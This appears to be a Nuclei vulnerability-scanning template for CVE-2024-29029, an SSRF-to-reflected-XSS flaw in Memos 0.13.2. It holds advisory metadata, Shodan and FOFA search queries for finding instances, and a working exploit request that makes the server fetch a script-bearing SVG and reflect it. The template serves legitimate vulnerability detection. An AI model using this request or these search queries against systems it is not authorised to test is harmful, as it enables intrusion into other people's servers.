Memos 0.13.2 - Cross-Site Scripting & SSRF

id: CVE-2024-29029

info:
  name: Memos 0.13.2 - Cross-Site Scripting & SSRF
  author: ritikchaddha
  severity: medium
  description: |
    An SSRF vulnerability exists at the `/o/get/image` that allows unauthenticated users to enumerate the internal network and retrieve images. The response from the image request is then copied into the response of the current server request, causing a reflected XSS vulnerability.
  impact: |
    Attackers can inject malicious scripts and perform SSRF attacks, compromising user data and accessing internal resources.
  remediation: |
    Update Memos to version 0.13.3 or later.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2023-154_GHSL-2023-156_memos/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29029
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"Memos"
    fofa-query: title="Memos"
  tags: cve,cve2024,xss,memos,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/o/get/image?url=https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/refs/heads/main/helpers/payloads/retool-xss.svg"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain);"
          - "<?xml version"
          - '<script type="text/javascript">'
        condition: and

      - type: word
        part: header
        words:
          - "Content-Security-Policy: default-src 'none';"
        negative: true

      - type: status
        status:
          - 200
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